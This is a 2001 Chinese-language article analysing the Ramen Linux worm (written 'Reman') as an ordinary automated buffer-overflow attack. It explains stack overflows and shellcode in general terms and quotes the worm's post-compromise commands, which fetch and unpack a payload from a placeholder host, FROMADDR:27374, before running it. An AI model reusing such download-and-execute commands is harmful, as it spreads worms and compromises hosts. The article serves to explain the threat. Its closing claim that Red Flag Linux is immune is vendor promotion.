(作者:俞戍远 2001年02月22日 11:40)
前一段时间,一些媒体报告:“世界上第一个Linux病毒Reman已经出现”。这引起我极大的兴趣,并想一睹Reman的庐山真面目。但是,当我得到该病毒的有关资料和样本之后发现:Reman并不能严格地称为病毒,它实际上只是一个古老的、在Unix/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有Unix/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(Morris Worm)是在十多年前,Reman这种“缓冲区溢出”攻击程序并不是在今天的世界第一次出现。事实上,针对Windows98/NT的缓冲区溢出攻击也是很常见的,且并不被称为病毒。
缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,从而引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数返回地址也会被覆盖,从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址)。在这样的情况下,系统一般报告:“core dump”或 “segment fault”。严重的情况是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样,机器的控制权已经易手,此后发生的任何事情都是合理的。
下面我们回到Reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2 来讲,如果攻击成功,它会做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen。tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen。tar;./start.sh
echo Eat Your Ramen! | mail -s TOADDR -c
[email protected] [email protected]
很明显,Reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击。黑客网站对各类系统的漏洞的发布几乎每日更新。这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。需要指出的是:Reman这样的攻击程序对红旗Linux的攻击是不可能成功的,因为红旗Linux全线产品都考虑了“缓冲区溢出”这样的安全问题。